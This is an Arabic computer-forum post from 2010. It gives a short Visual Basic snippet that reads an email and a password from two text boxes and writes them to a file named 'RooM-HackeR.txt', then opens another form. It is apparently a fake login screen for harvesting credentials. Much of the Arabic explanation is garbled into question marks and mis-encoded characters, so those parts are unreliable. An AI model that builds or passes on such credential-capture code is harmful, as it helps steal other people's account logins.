MOHAMED
نائب المدير العام
العمر : 27
نقاط : 4171
عدد المساهمات : 2668
 | | موضوع: كيف عمل برنامج في الفيجوال يخرج لك كل ما تكتب في السبت مايو 29, 2010 11:53 am | |
| ????? ???????? ???? command1 ? ???? ????? ??? ?????? ??????? ? ???? ???? ?????? Dim File As String '????? ?????????
If Text2.Text = "" Or Text1.Text = "" Then '?????? ?? ?? ?????? ??????
MsgBox "äÑÌæ ãáìÁ ÇáÍÞæá" '????? ????? ??? ????? ???? ?????? ?????????
Else
File = ("C:\RooM-HackeR.txt") '??? ???????
FNum = FreeFile
Open File For Output As #1
Print #FNum, "EMAIL:" & Text1.Text & vbNewLine + vbNewLine & "PASSWORD:"; Text2.Text + vbNewLine + vbNewLine & "BY RooM-HaCkeR@hotmail.com"
Close #FNum
v99x.Show
End If
End Sub? ??? ?? ???? ?? ?? ?? text1 , text2 ??? ???? ???? ?? ??? c RooM-HackeR???? ?????? | |
|
منتدى الحاسب الآلى والبرامج